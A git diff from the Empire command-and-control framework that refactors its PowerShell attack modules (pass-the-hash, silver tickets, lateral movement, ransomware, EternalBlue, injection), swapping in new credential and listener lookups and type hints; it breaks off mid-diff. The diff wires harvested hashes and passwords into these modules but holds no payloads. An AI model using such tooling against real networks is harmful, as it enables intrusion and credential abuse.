b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py index 574c5da4d..01bbd01f2 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py index 4e394e2d7..d7fda4c25 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.py +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py @@ -1,6 +1,7 @@ import logging -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +11,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -29,19 +30,21 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) - if cred.credtype != "hash": - return handle_error_message("[!] An NTLM hash must be used!") + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.username != "": - params["user"] = cred.username - if cred.domain != "": - params["domain"] = cred.domain - if cred.password != "": - params["ntlm"] = cred.password + if cred.credtype != "hash": + return handle_error_message("[!] An NTLM hash must be used!") + + if cred.username != "": + params["user"] = cred.username + if cred.domain != "": + params["domain"] = cred.domain + if cred.password != "": + params["ntlm"] = cred.password if params["ntlm"] == "": log.error("ntlm hash not specified") diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index 045f2ac00..b28cefe90 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -1,5 +1,6 @@ from empire.server.common import helpers -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -7,7 +8,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -26,22 +27,24 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) - if not cred.username.endswith("$"): - return handle_error_message( - "[!] please specify a machine account credential" - ) - if cred.domain != "": - params["domain"] = cred.domain - if cred.host != "": - params["target"] = str(cred.host) + "." + str(cred.domain) - if cred.sid != "": - params["sid"] = cred.sid - if cred.password != "": - params["rc4"] = cred.password + if not cred: + return handle_error_message("[!] CredID is invalid!") + + if not cred.username.endswith("$"): + return handle_error_message( + "[!] please specify a machine account credential" + ) + if cred.domain != "": + params["domain"] = cred.domain + if cred.host != "": + params["target"] = str(cred.host) + "." + str(cred.domain) + if cred.sid != "": + params["sid"] = cred.sid + if cred.password != "": + params["rc4"] = cred.password # error checking if not helpers.validate_ntlm(params["rc4"]): diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py index eaeef9265..a94c47fff 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 9cc4e505d..82995d5af 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py index 950b40fa2..16fd0cbc0 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.py +++ b/empire/server/modules/powershell/exfiltration/PSRansom.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py index fd6f0db94..ddefe0337 100755 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index b28b682ca..8d1c977fe 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -34,7 +35,7 @@ def generate( return handle_error_message(err) if command == "": - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index 63b1dddf0..4525b29a5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -45,7 +46,10 @@ def generate( script_end = "" - if not main_menu.listeners.is_listener_valid(listener_name) and not command: + if ( + not main_menu.listenersv2.get_active_listener_by_name(listener_name) + and not command + ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index a83fe9ccd..af4c09268 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -37,17 +38,18 @@ def generate( script_end = "Invoke-ExecuteMSBuild" cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.domain != "": - params["UserName"] = str(cred.domain) + "\\" + str(cred.username) - else: - params["UserName"] = str(cred.username) - if cred.password != "": - params["Password"] = cred.password + if cred.domain != "": + params["UserName"] = str(cred.domain) + "\\" + str(cred.username) + else: + params["UserName"] = str(cred.username) + if cred.password != "": + params["Password"] = cred.password # Only "Command" or "Listener" but not both if listener_name == "" and command == "": @@ -57,7 +59,10 @@ def generate( "[!] Cannot use Listener and Command at the same time" ) - if not main_menu.listeners.is_listener_valid(listener_name) and not command: + if ( + not main_menu.listenersv2.get_active_listener_by_name(listener_name) + and not command + ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) elif listener_name: diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index c1e11f912..719a3562c 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -51,7 +52,7 @@ def generate( script_end += ' -ResultFile "%s"' % (result_file) else: - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index 0b4f12ecf..7a657cb20 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -37,14 +38,19 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) - params["UserName"] = str(cred.domain) + "\\" + str(cred.username) - params["Password"] = cred.password + if not cred: + return handle_error_message("[!] CredID is invalid!") - if not main_menu.listeners.is_listener_valid(listener_name) and not command: + params["UserName"] = str(cred.domain) + "\\" + str(cred.username) + params["Password"] = cred.password + + if ( + not main_menu.listenersv2.get_active_listener_by_name(listener_name) + and not command + ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index c33d549fa..8473cf8f5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -46,7 +47,10 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name) and not command: + if ( + not main_menu.listenersv2.get_active_listener_by_name(listener_name) + and not command + ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index 19f6cc9c5..6780248bb 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -14,15 +15,18 @@ def generate( ): cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") - cred: Credential = main_menu.credentials.get_credentials(cred_id) - if cred.domain != "": - params["UserName"] = str(cred.domain) + "\\" + str(cred.username) - else: - params["UserName"] = str(cred.username) - if cred.password != "": - params["Password"] = cred.password + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) + + if not cred: + return handle_error_message("[!] CredID is invalid!") + + if cred.domain != "": + params["UserName"] = str(cred.domain) + "\\" + str(cred.username) + else: + params["UserName"] = str(cred.username) + if cred.password != "": + params["Password"] = cred.password # staging options listener_name = params["Listener"] @@ -50,7 +54,7 @@ def generate( return handle_error_message(err) if command == "": - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): return handle_error_message("[!] Invalid listener: " + listener_name) else: launcher = main_menu.stagers.generate_launcher( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index 444d2ee2f..8f5ab21b5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -27,15 +28,16 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.username != "": - params["Username"] = str(cred.username) - if cred.password != "": - params["Password"] = str(cred.password) + if cred.username != "": + params["Username"] = str(cred.username) + if cred.password != "": + params["Password"] = str(cred.password) if params["Username"] == "": return handle_error_message( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 97060e9a3..af4fbf3d3 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -37,19 +38,23 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") - - cred: Credential = main_menu.credentials.get_credentials(cred_id) - - if cred.domain != "": - params["UserName"] = str(cred.domain) + "\\" + str(cred.username) - else: - params["UserName"] = str(cred.username) - if cred.password != "": - params["Password"] = cred.password - - if not main_menu.listeners.is_listener_valid(listener_name) and not command: + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) + + if not cred: + return handle_error_message("[!] CredID is invalid!") + + if cred.domain != "": + params["UserName"] = str(cred.domain) + "\\" + str(cred.username) + else: + params["UserName"] = str(cred.username) + if cred.password != "": + params["Password"] = cred.password + + if ( + not main_menu.listenersv2.get_active_listener_by_name(listener_name) + and not command + ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index e36526915..e144cbd07 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -1,5 +1,6 @@ from empire.server.common import helpers -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -7,7 +8,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -35,17 +36,18 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.domain != "": - params["UserName"] = str(cred.domain) + "\\" + str(cred.username) - else: - params["UserName"] = str(cred.username) - if cred.password != "": - params["Password"] = cred.password + if cred.domain != "": + params["UserName"] = str(cred.domain) + "\\" + str(cred.username) + else: + params["UserName"] = str(cred.username) + if cred.password != "": + params["Password"] = cred.password if cleanup.lower() == "true": # the registry command to disable the debugger for the target binary @@ -58,7 +60,7 @@ def generate( elif listener_name != "": # if there's a listener specified, generate a stager and store it - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index 80d3f80e0..16aa4db48 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -1,4 +1,5 @@ from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index f515a044e..1a725886e 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -1,4 +1,5 @@ from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -24,7 +25,7 @@ def generate( launcher_obfuscate = False launcher_obfuscate_command = params["ObfuscateCommand"] - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) diff --git a/empire/server/modules/powershell/management/invoke_bypass.py b/empire/server/modules/powershell/management/invoke_bypass.py index d6f5dd6ee..f18248418 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.py +++ b/empire/server/modules/powershell/management/invoke_bypass.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py index eeeb721de..9e06d2744 100644 --- a/empire/server/modules/powershell/management/invoke_script.py +++ b/empire/server/modules/powershell/management/invoke_script.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py index 9e319a923..905b861e2 100644 --- a/empire/server/modules/powershell/management/logoff.py +++ b/empire/server/modules/powershell/management/logoff.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index c409503ac..65a01a895 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 5bd1aa700..951825916 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index 6e4e76bb5..302e17996 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -40,7 +41,7 @@ def generate( return handle_error_message(err) script_end = "" - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: %s" % (listener_name)) else: diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 7d5724449..4510b2535 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -1,6 +1,7 @@ import random import string +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -50,7 +51,7 @@ def rand_text_alphanumeric( return handle_error_message(err) script_end = "" - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: %s" % (listener_name)) else: diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index 67b1b280b..8987a3ce1 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -27,22 +28,23 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.credtype != "plaintext": - return handle_error_message( - "[!] A CredID with a plaintext password must be used!" - ) + if cred.credtype != "plaintext": + return handle_error_message( + "[!] A CredID with a plaintext password must be used!" + ) - if cred.domain != "": - params["Domain"] = cred.domain - if cred.username != "": - params["UserName"] = cred.username - if cred.password != "": - params["Password"] = "'" + cred.password + "'" + if cred.domain != "": + params["Domain"] = cred.domain + if cred.username != "": + params["UserName"] = cred.username + if cred.password != "": + params["Password"] = "'" + cred.password + "'" if ( params["Domain"] == "" diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index bc31bffb8..013323299 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -1,4 +1,5 @@ from empire.server.common import helpers +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -30,7 +31,7 @@ def generate( if err: return handle_error_message(err) - if not main_menu.listeners.is_listener_valid(listener_name): + if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message(f"[!] Invalid listener: {listener_name}") else: diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index 8e2ab0933..5f3100ed4 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index 037d821f9..6e35aba5f 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -1,4 +1,5 @@ -from empire.server.core.db.models import Credential +from empire.server.common.empire import MainMenu +from empire.server.core.db.base import SessionLocal from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -6,7 +7,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, @@ -25,17 +26,18 @@ def generate( # if a credential ID is specified, try to parse cred_id = params["CredID"] if cred_id != "": - if not main_menu.credentials.is_credential_valid(cred_id): - return handle_error_message("[!] CredID is invalid!") + with SessionLocal() as db: + cred = main_menu.credentialsv2.get_by_id(db, cred_id) - cred: Credential = main_menu.credentials.get_credentials(cred_id) + if not cred: + return handle_error_message("[!] CredID is invalid!") - if cred.domain != "": - params["Domain"] = cred.domain - if cred.username != "": - params["UserName"] = cred.username - if cred.password != "": - params["Password"] = cred.password + if cred.domain != "": + params["Domain"] = cred.domain + if cred.username != "": + params["UserName"] = cred.username + if cred.password != "": + params["Password"] = cred.password # extract all of our options diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index 325daaa02..89b014eed 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py index f8d69096e..366ebfa13 100644 --- a/empire/server/modules/powershell/management/user_to_sid.py +++ b/empire/server/modules/powershell/management/user_to_sid.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index 59e537eae..96b10289b 100644 --- 